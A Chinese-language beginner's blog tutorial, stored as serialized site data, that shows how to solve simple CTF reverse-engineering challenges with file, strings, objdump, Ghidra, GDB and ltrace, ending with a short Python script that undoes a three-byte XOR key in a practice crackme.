[{"data":1,"prerenderedAt":14620},["ShallowReactive",2],{"blog-post-/blogs/ctf-reverse-overview":3,"all-blogs-for-navigation":1377},{"id":4,"title":5,"body":6,"description":1362,"extension":1363,"meta":1364,"navigation":1372,"ogImage":1366,"path":1373,"seo":1374,"stem":1375,"__hash__":1376},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":8,"toc":1352},"minimark",[9,14,18,21,83,86,90,93,121,128,132,139,145,150,153,166,169,177,188,193,197,199,211,213,219,229,247,250,255,279,283,295,301,313,318,323,327,332,349,353,355,376,379,419,422,485,488,548,555,576,580,613,616,636,643,659,663,683,685,691,701,714,718,721,784,787,810,813,840,843,847,850,855,864,876,879,883,893,895,901,905,914,916,922,925,929,938,941,945,954,960,969,972,996,1003,1016,1019,1025,1028,1034,1038,1119,1129,1133,1140,1144,1149,1162,1178,1184,1188,1193,1202,1208,1217,1221,1226,1235,1304,1306,1312,1316,1329,1333,1337,1348],[10,11,13],"h3",{"id":12},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,16,17],"p",{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,19,20],{},"目标程序示例：",[22,23,28],"pre",{"className":24,"code":25,"language":26,"meta":27,"style":27},"language-bash shiki shiki-themes dracula","$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n","bash","",[29,30,31,44,67,77],"code",{"__ignoreMap":27},[32,33,36,40],"span",{"class":34,"line":35},"line",1,[32,37,39],{"class":38},"sAOxA","$",[32,41,43],{"class":42},"s-mGx"," ./checkflag\n",[32,45,47,50,53,57,60,64],{"class":34,"line":46},2,[32,48,49],{"class":38},"Usage:",[32,51,52],{"class":42}," ./checkflag",[32,54,56],{"class":55},"s0Tla"," \u003C",[32,58,59],{"class":42},"fla",[32,61,63],{"class":62},"sCdxs","g",[32,65,66],{"class":55},">\n",[32,68,70,72,74],{"class":34,"line":69},3,[32,71,39],{"class":38},[32,73,52],{"class":42},[32,75,76],{"class":42}," test\n",[32,78,80],{"class":34,"line":79},4,[32,81,82],{"class":38},"Wrong!\n",[15,84,85],{},"解题目标：通过分析二进制，找出正确输入。",[10,87,89],{"id":88},"二环境准备","二、环境准备",[15,91,92],{},"在 Linux（Kali/Ubuntu）上：",[22,94,96],{"className":24,"code":95,"language":26,"meta":27,"style":27},"apt install file binutils gdb ltrace strace\n",[29,97,98],{"__ignoreMap":27},[32,99,100,103,106,109,112,115,118],{"class":34,"line":35},[32,101,102],{"class":38},"apt",[32,104,105],{"class":42}," install",[32,107,108],{"class":42}," file",[32,110,111],{"class":42}," binutils",[32,113,114],{"class":42}," gdb",[32,116,117],{"class":42}," ltrace",[32,119,120],{"class":42}," strace\n",[15,122,123,124,127],{},"本文以编译后的 ",[29,125,126],{},"checkflag"," 为例，逐步演示。",[10,129,131],{"id":130},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,133,134,138],{},[135,136,137],"strong",{},"目的","：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,140,141,144],{},[135,142,143],{},"思路","：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[146,147,149],"h4",{"id":148},"_31-file看文件类型","3.1 file：看文件类型",[15,151,152],{},"输入：",[22,154,156],{"className":24,"code":155,"language":26,"meta":27,"style":27},"file checkflag\n",[29,157,158],{"__ignoreMap":27},[32,159,160,163],{"class":34,"line":35},[32,161,162],{"class":38},"file",[32,164,165],{"class":42}," checkflag\n",[15,167,168],{},"预期输出：",[22,170,175],{"className":171,"code":173,"language":174,"meta":27},[172],"language-text","checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n","text",[29,176,173],{"__ignoreMap":27},[15,178,179,180,183,184,187],{},"重点看最后：",[29,181,182],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[29,185,186],{},"stripped","，函数名被删，难度更高。",[15,189,190,192],{},[135,191,137],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[146,194,196],{"id":195},"_32-strings提取字符串","3.2 strings：提取字符串",[15,198,152],{},[22,200,202],{"className":24,"code":201,"language":26,"meta":27,"style":27},"strings checkflag\n",[29,203,204],{"__ignoreMap":27},[32,205,206,209],{"class":34,"line":35},[32,207,208],{"class":38},"strings",[32,210,165],{"class":42},[15,212,168],{},[22,214,217],{"className":215,"code":216,"language":174,"meta":27},[172],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[29,218,216],{"__ignoreMap":27},[15,220,221,222,224,225,228],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[29,223,208],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[29,226,227],{},"-n"," 指定：",[22,230,232],{"className":24,"code":231,"language":26,"meta":27,"style":27},"strings -n 3 checkflag\n",[29,233,234],{"__ignoreMap":27},[32,235,236,238,242,245],{"class":34,"line":35},[32,237,208],{"class":38},[32,239,241],{"class":240},"sIQBb"," -n",[32,243,244],{"class":240}," 3",[32,246,165],{"class":42},[15,248,249],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,251,252,254],{},[135,253,137],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,256,257,259,260,263,264,263,267,270,271,274,275,278],{},[135,258,143],{},"：输出里的 ",[29,261,262],{},"Usage: ./checkflag \u003Cflag>","、",[29,265,266],{},"Correct!",[29,268,269],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[29,272,273],{},"k3y","），先用 ",[29,276,277],{},"-n 3"," 确认——可能正是加密密钥。",[146,280,282],{"id":281},"_33-运行程序观察行为","3.3 运行程序观察行为",[22,284,286],{"className":24,"code":285,"language":26,"meta":27,"style":27},"./checkflag test\n",[29,287,288],{"__ignoreMap":27},[32,289,290,293],{"class":34,"line":35},[32,291,292],{"class":38},"./checkflag",[32,294,76],{"class":42},[15,296,297,298,300],{},"输出：",[29,299,269],{},"。",[22,302,304],{"className":24,"code":303,"language":26,"meta":27,"style":27},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[29,305,306],{"__ignoreMap":27},[32,307,308,310],{"class":34,"line":35},[32,309,292],{"class":38},[32,311,312],{"class":42}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,314,297,315,317],{},[29,316,269],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,319,320,322],{},[135,321,137],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,324,326],{"id":325},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,328,329,331],{},[135,330,137],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,333,334,336,337,340,341,344,345,348],{},[135,335,143],{},"：程序要么比较字符串（",[29,338,339],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[29,342,343],{},"call","（函数调用）和 ",[29,346,347],{},"je/jne","（条件跳转）就能定位判断点。",[146,350,352],{"id":351},"_41-objdump-看-main","4.1 objdump 看 main",[15,354,152],{},[22,356,358],{"className":24,"code":357,"language":26,"meta":27,"style":27},"objdump -d -M intel checkflag\n",[29,359,360],{"__ignoreMap":27},[32,361,362,365,368,371,374],{"class":34,"line":35},[32,363,364],{"class":38},"objdump",[32,366,367],{"class":240}," -d",[32,369,370],{"class":240}," -M",[32,372,373],{"class":42}," intel",[32,375,165],{"class":42},[15,377,378],{},"输出很长，用 grep 只看 main：",[22,380,382],{"className":24,"code":381,"language":26,"meta":27,"style":27},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[29,383,384],{"__ignoreMap":27},[32,385,386,388,390,392,394,397,400,403,406,409,413,416],{"class":34,"line":35},[32,387,364],{"class":38},[32,389,367],{"class":240},[32,391,370],{"class":240},[32,393,373],{"class":42},[32,395,396],{"class":42}," checkflag",[32,398,399],{"class":55}," |",[32,401,402],{"class":38}," grep",[32,404,405],{"class":240}," -A",[32,407,408],{"class":240}," 40",[32,410,412],{"class":411},"seVfx"," '",[32,414,415],{"class":42},"\u003Cmain>",[32,417,418],{"class":411},"'\n",[15,420,421],{},"预期输出（节选）：",[22,423,427],{"className":424,"code":425,"language":426,"meta":27,"style":27},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[29,428,429,434,439,444,449,455,461,467,473,479],{"__ignoreMap":27},[32,430,431],{"class":34,"line":35},[32,432,433],{},"0000000000001189 \u003Cmain>:\n",[32,435,436],{"class":34,"line":46},[32,437,438],{},"    1189:  push   rbp\n",[32,440,441],{"class":34,"line":69},[32,442,443],{},"    118a:  mov    rbp, rsp\n",[32,445,446],{"class":34,"line":79},[32,447,448],{},"    1191:  cmp    edi, 0x2\n",[32,450,452],{"class":34,"line":451},5,[32,453,454],{},"    1194:  jne    0x11a0\n",[32,456,458],{"class":34,"line":457},6,[32,459,460],{},"    119e:  call   0x1149 \u003Ccheck>\n",[32,462,464],{"class":34,"line":463},7,[32,465,466],{},"    11a3:  test   eax, eax\n",[32,468,470],{"class":34,"line":469},8,[32,471,472],{},"    11a5:  je     0x11b5\n",[32,474,476],{"class":34,"line":475},9,[32,477,478],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[32,480,482],{"class":34,"line":481},10,[32,483,484],{},"    11ae:  call   puts@plt\n",[15,486,487],{},"逐行解释：",[489,490,491,504],"table",{},[492,493,494],"thead",{},[495,496,497,501],"tr",{},[498,499,500],"th",{},"指令",[498,502,503],{},"含义",[505,506,507,518,528,538],"tbody",{},[495,508,509,515],{},[510,511,512],"td",{},[29,513,514],{},"cmp edi, 0x2",[510,516,517],{},"比较参数个数 argc 是否为 2",[495,519,520,525],{},[510,521,522],{},[29,523,524],{},"call check",[510,526,527],{},"调用校验函数 check",[495,529,530,535],{},[510,531,532],{},[29,533,534],{},"test eax, eax",[510,536,537],{},"检查返回值是否为 0",[495,539,540,545],{},[510,541,542],{},[29,543,544],{},"je 0x11b5",[510,546,547],{},"为 0 则跳到打印 Wrong 的地方",[15,549,550,551,554],{},"结论：逻辑在 ",[29,552,553],{},"check"," 函数里。",[15,556,557,560,561,563,564,566,567,570,571,573,574,300],{},[135,558,559],{},"怎么想到看 check","：",[29,562,524],{}," 之后紧跟 ",[29,565,534],{}," 和 ",[29,568,569],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[29,572,553],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[29,575,553],{},[146,577,579],{"id":578},"_42-看-check","4.2 看 check",[22,581,583],{"className":24,"code":582,"language":26,"meta":27,"style":27},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[29,584,585],{"__ignoreMap":27},[32,586,587,589,591,593,595,597,599,601,603,606,608,611],{"class":34,"line":35},[32,588,364],{"class":38},[32,590,367],{"class":240},[32,592,370],{"class":240},[32,594,373],{"class":42},[32,596,396],{"class":42},[32,598,399],{"class":55},[32,600,402],{"class":38},[32,602,405],{"class":240},[32,604,605],{"class":240}," 50",[32,607,412],{"class":411},[32,609,610],{"class":42},"\u003Ccheck>",[32,612,418],{"class":411},[15,614,615],{},"如果看到：",[22,617,619],{"className":424,"code":618,"language":426,"meta":27,"style":27},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[29,620,621,626,631],{"__ignoreMap":27},[32,622,623],{"class":34,"line":35},[32,624,625],{},"call   strcmp@plt\n",[32,627,628],{"class":34,"line":46},[32,629,630],{},"test   eax, eax\n",[32,632,633],{"class":34,"line":69},[32,634,635],{},"je     ...\n",[15,637,638,639,642],{},"说明是字符串比较，flag 就藏在 ",[29,640,641],{},".rodata"," 里。",[15,644,645,560,648,651,652,655,656,658],{},[135,646,647],{},"验证方式",[29,649,650],{},"call strcmp@plt"," 前面通常有一条 ",[29,653,654],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[29,657,641],{}," 里找内容即可。",[146,660,662],{"id":661},"_43-看只读数据段","4.3 看只读数据段",[22,664,666],{"className":24,"code":665,"language":26,"meta":27,"style":27},"objdump -s -j .rodata checkflag\n",[29,667,668],{"__ignoreMap":27},[32,669,670,672,675,678,681],{"class":34,"line":35},[32,671,364],{"class":38},[32,673,674],{"class":240}," -s",[32,676,677],{"class":240}," -j",[32,679,680],{"class":42}," .rodata",[32,682,165],{"class":42},[15,684,168],{},[22,686,689],{"className":687,"code":688,"language":174,"meta":27},[172],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[29,690,688],{"__ignoreMap":27},[15,692,693,694,697,698,300],{},"ASCII 十六进制 ",[29,695,696],{},"63 6f 6e 67..."," 解出来就是 ",[29,699,700],{},"congratulations",[15,702,703,706,707,709,710,713],{},[135,704,705],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[29,708,641],{},"，",[29,711,712],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[146,715,717],{"id":716},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,719,720],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[22,722,724],{"className":24,"code":723,"language":26,"meta":27,"style":27},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[29,725,726,738,753,765],{"__ignoreMap":27},[32,727,728,730,732,735],{"class":34,"line":35},[32,729,102],{"class":38},[32,731,105],{"class":42},[32,733,734],{"class":42}," openjdk-21-jdk",[32,736,737],{"class":42}," unzip\n",[32,739,740,743,746,750],{"class":34,"line":46},[32,741,742],{"class":38},"wget",[32,744,745],{"class":42}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[32,747,749],{"class":748},"sqerP","*",[32,751,752],{"class":42},".zip\n",[32,754,755,758,761,763],{"class":34,"line":69},[32,756,757],{"class":38},"unzip",[32,759,760],{"class":42}," ghidra_",[32,762,749],{"class":748},[32,764,752],{"class":42},[32,766,767,771,773,775,778,781],{"class":34,"line":79},[32,768,770],{"class":769},"sLL85","cd",[32,772,760],{"class":42},[32,774,749],{"class":748},[32,776,777],{"class":42},"_PUBLIC",[32,779,780],{"class":62}," && ",[32,782,783],{"class":38},"./ghidraRun\n",[15,785,786],{},"操作步骤：",[788,789,790,794,800,803],"ol",{},[791,792,793],"li",{},"File → New Project → 命名。",[791,795,796,797,799],{},"把 ",[29,798,126],{}," 拖进项目，双击导入。",[791,801,802],{},"等待自动分析完成。",[791,804,805,806,809],{},"左侧 Symbol Tree 双击 ",[29,807,808],{},"main","，右侧 Decompiler 显示伪代码。",[15,811,812],{},"预期伪代码：",[22,814,818],{"className":815,"code":816,"language":817,"meta":27,"style":27},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[29,819,820,825,830,835],{"__ignoreMap":27},[32,821,822],{"class":34,"line":35},[32,823,824],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[32,826,827],{"class":34,"line":46},[32,828,829],{},"    puts(\"Correct!\");\n",[32,831,832],{"class":34,"line":69},[32,833,834],{},"else\n",[32,836,837],{"class":34,"line":79},[32,838,839],{},"    puts(\"Wrong!\");\n",[15,841,842],{},"flag 直接可见。",[10,844,846],{"id":845},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,848,849],{},"静态分析看不懂时，让程序跑起来。",[15,851,852,854],{},[135,853,137],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,856,857,859,860,863],{},[135,858,143],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[29,861,862],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[22,865,867],{"className":24,"code":866,"language":26,"meta":27,"style":27},"gdb ./checkflag\n",[29,868,869],{"__ignoreMap":27},[32,870,871,874],{"class":34,"line":35},[32,872,873],{"class":38},"gdb",[32,875,43],{"class":42},[15,877,878],{},"进入 GDB 交互后：",[146,880,882],{"id":881},"_51-下断点","5.1 下断点",[22,884,887],{"className":885,"code":886,"language":873,"meta":27,"style":27},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[29,888,889],{"__ignoreMap":27},[32,890,891],{"class":34,"line":35},[32,892,886],{},[15,894,168],{},[22,896,899],{"className":897,"code":898,"language":174,"meta":27},[172],"Breakpoint 1 at 0x1149\n",[29,900,898],{"__ignoreMap":27},[146,902,904],{"id":903},"_52-带参数运行","5.2 带参数运行",[22,906,908],{"className":885,"code":907,"language":873,"meta":27,"style":27},"(gdb) run test\n",[29,909,910],{"__ignoreMap":27},[32,911,912],{"class":34,"line":35},[32,913,907],{},[15,915,168],{},[22,917,920],{"className":918,"code":919,"language":174,"meta":27},[172],"Breakpoint 1, 0x0000555555555149 in check ()\n",[29,921,919],{"__ignoreMap":27},[15,923,924],{},"程序停在 check 入口。",[146,926,928],{"id":927},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[22,930,932],{"className":885,"code":931,"language":873,"meta":27,"style":27},"(gdb) x/20i $rip\n",[29,933,934],{"__ignoreMap":27},[32,935,936],{"class":34,"line":35},[32,937,931],{},[15,939,940],{},"输出 check 函数开头的 20 条汇编。",[146,942,944],{"id":943},"_54-单步并观察比较","5.4 单步并观察比较",[22,946,948],{"className":885,"code":947,"language":873,"meta":27,"style":27},"(gdb) stepi\n",[29,949,950],{"__ignoreMap":27},[32,951,952],{"class":34,"line":35},[32,953,947],{},[15,955,956,957,959],{},"反复执行直到看到 ",[29,958,650],{},"。然后：",[22,961,963],{"className":885,"code":962,"language":873,"meta":27,"style":27},"(gdb) x/s $rsi\n",[29,964,965],{"__ignoreMap":27},[32,966,967],{"class":34,"line":35},[32,968,962],{},[15,970,971],{},"预期输出：程序正在比较的字符串，即 flag。",[15,973,974,560,977,980,981,984,985,988,989,980,992,995],{},[135,975,976],{},"补充说明",[29,978,979],{},"x/s"," 的 ",[29,982,983],{},"s"," 表示按字符串显示；",[29,986,987],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[29,990,991],{},"strcmp(a, b)",[29,993,994],{},"b"," 就存在这里。",[15,997,998,999,1002],{},"补充：如果嫌 GDB 麻烦，",[29,1000,1001],{},"ltrace"," 直接跟踪库调用：",[22,1004,1006],{"className":24,"code":1005,"language":26,"meta":27,"style":27},"ltrace ./checkflag test\n",[29,1007,1008],{"__ignoreMap":27},[32,1009,1010,1012,1014],{"class":34,"line":35},[32,1011,1001],{"class":38},[32,1013,52],{"class":42},[32,1015,76],{"class":42},[15,1017,1018],{},"预期输出中会出现：",[22,1020,1023],{"className":1021,"code":1022,"language":174,"meta":27},[172],"strcmp(\"test\", \"congratulations\") = 1\n",[29,1024,1022],{"__ignoreMap":27},[15,1026,1027],{},"flag 一目了然。",[15,1029,1030,1033],{},[135,1031,1032],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,1035,1037],{"id":1036},"六必学工具","六、必学工具",[489,1039,1040,1053],{},[492,1041,1042],{},[495,1043,1044,1047,1050],{},[498,1045,1046],{},"工具",[498,1048,1049],{},"核心功能",[498,1051,1052],{},"命令示例",[505,1054,1055,1067,1085,1100],{},[495,1056,1057,1059,1062],{},[510,1058,162],{},[510,1060,1061],{},"看类型、位数、是否 stripped",[510,1063,1064],{},[29,1065,1066],{},"file checkflag",[495,1068,1069,1071,1074],{},[510,1070,208],{},[510,1072,1073],{},"提取字符串、指定最小长度、管道过滤",[510,1075,1076,263,1079,263,1082],{},[29,1077,1078],{},"strings checkflag",[29,1080,1081],{},"strings -n 3 a",[29,1083,1084],{},"strings a | grep flag",[495,1086,1087,1089,1092],{},[510,1088,364],{},[510,1090,1091],{},"反汇编、看数据段、Intel 语法",[510,1093,1094,263,1097],{},[29,1095,1096],{},"objdump -d -M intel a",[29,1098,1099],{},"objdump -s -j .rodata a",[495,1101,1102,1105,1108],{},[510,1103,1104],{},"GDB",[510,1106,1107],{},"断点、运行、看内存/寄存器",[510,1109,1110,263,1113,263,1116],{},[29,1111,1112],{},"break check",[29,1114,1115],{},"run",[29,1117,1118],{},"x/20i $rip",[15,1120,1121,1122,1124,1125,1128],{},"另：Ghidra 负责把汇编还原成伪代码；",[29,1123,1001],{},"/",[29,1126,1127],{},"strace"," 负责快速跟踪函数与系统调用。",[10,1130,1132],{"id":1131},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,1134,1135,1136,1139],{},"题目：",[29,1137,1138],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[146,1141,1143],{"id":1142},"第一步侦查","第一步：侦查",[15,1145,1146,1148],{},[135,1147,137],{},"：先找密钥与提示。",[15,1150,1151,560,1153,1155,1156,1158,1159,1161],{},[135,1152,143],{},[29,1154,208],{}," 默认漏掉短串，所以用 ",[29,1157,277],{},"；看到 ",[29,1160,273],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[22,1163,1165],{"className":24,"code":1164,"language":26,"meta":27,"style":27},"strings -n 3 crackme\n",[29,1166,1167],{"__ignoreMap":27},[32,1168,1169,1171,1173,1175],{"class":34,"line":35},[32,1170,208],{"class":38},[32,1172,241],{"class":240},[32,1174,244],{"class":240},[32,1176,1177],{"class":42}," crackme\n",[15,1179,1180,1181,1183],{},"预期输出中有 ",[29,1182,273],{},"——疑似密钥。",[146,1185,1187],{"id":1186},"第二步反编译-check","第二步：反编译 check",[15,1189,1190,1192],{},[135,1191,137],{},"：确认密钥如何使用、密文数组是什么。",[15,1194,1195,1197,1198,1201],{},[135,1196,647],{},"：伪代码 ",[29,1199,1200],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,1203,1204,1205,1207],{},"用 Ghidra 打开，",[29,1206,553],{}," 伪代码：",[22,1209,1211],{"className":815,"code":1210,"language":817,"meta":27,"style":27},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[29,1212,1213],{"__ignoreMap":27},[32,1214,1215],{"class":34,"line":35},[32,1216,1210],{},[146,1218,1220],{"id":1219},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,1222,1223,1225],{},[135,1224,137],{},"：把\"加密\"反过来算，得到明文。",[15,1227,1228,1230,1231,1234],{},[135,1229,143],{},"：异或的自反性 ",[29,1232,1233],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[22,1236,1240],{"className":1237,"code":1238,"language":1239,"meta":27,"style":27},"language-python shiki shiki-themes dracula","enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n","python",[29,1241,1242,1247,1252,1257,1262,1267,1272,1277,1282,1287,1292,1298],{"__ignoreMap":27},[32,1243,1244],{"class":34,"line":35},[32,1245,1246],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[32,1248,1249],{"class":34,"line":46},[32,1250,1251],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[32,1253,1254],{"class":34,"line":69},[32,1255,1256],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[32,1258,1259],{"class":34,"line":79},[32,1260,1261],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[32,1263,1264],{"class":34,"line":451},[32,1265,1266],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[32,1268,1269],{"class":34,"line":457},[32,1270,1271],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[32,1273,1274],{"class":34,"line":463},[32,1275,1276],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[32,1278,1279],{"class":34,"line":469},[32,1280,1281],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[32,1283,1284],{"class":34,"line":475},[32,1285,1286],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[32,1288,1289],{"class":34,"line":481},[32,1290,1291],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[32,1293,1295],{"class":34,"line":1294},11,[32,1296,1297],{},"print(flag.decode())\n",[32,1299,1301],{"class":34,"line":1300},12,[32,1302,1303],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,1305,297],{},[22,1307,1310],{"className":1308,"code":1309,"language":174,"meta":27},[172],"ctf{reverse_engineering}\n",[29,1311,1309],{"__ignoreMap":27},[146,1313,1315],{"id":1314},"第四步验证","第四步：验证",[22,1317,1319],{"className":24,"code":1318,"language":26,"meta":27,"style":27},"./crackme ctf{reverse_engineering}\n",[29,1320,1321],{"__ignoreMap":27},[32,1322,1323,1326],{"class":34,"line":35},[32,1324,1325],{"class":38},"./crackme",[32,1327,1328],{"class":42}," ctf{reverse_engineering}\n",[15,1330,297,1331,300],{},[29,1332,266],{},[10,1334,1336],{"id":1335},"八小结","八、小结",[15,1338,1339,1340,1124,1342,1344,1345,1347],{},"逆向入门三步：",[29,1341,162],{},[29,1343,208],{}," 侦查 → ",[29,1346,364],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1349,1350,1351],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":27,"searchDepth":46,"depth":46,"links":1353},[1354,1355,1356,1357,1358,1359,1360,1361],{"id":12,"depth":69,"text":13},{"id":88,"depth":69,"text":89},{"id":130,"depth":69,"text":131},{"id":325,"depth":69,"text":326},{"id":845,"depth":69,"text":846},{"id":1036,"depth":69,"text":1037},{"id":1131,"depth":69,"text":1132},{"id":1335,"depth":69,"text":1336},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。","md",{"date":1365,"image":1366,"alt":1367,"tags":1368,"published":1372},"14th Aug 2026","/blogs-img/blog1.png","CTF 逆向入门",[1369,1370,1371],"ctf","reverse","example",true,"/blogs/ctf-reverse-overview",{"title":5,"description":1362},"blogs/10. 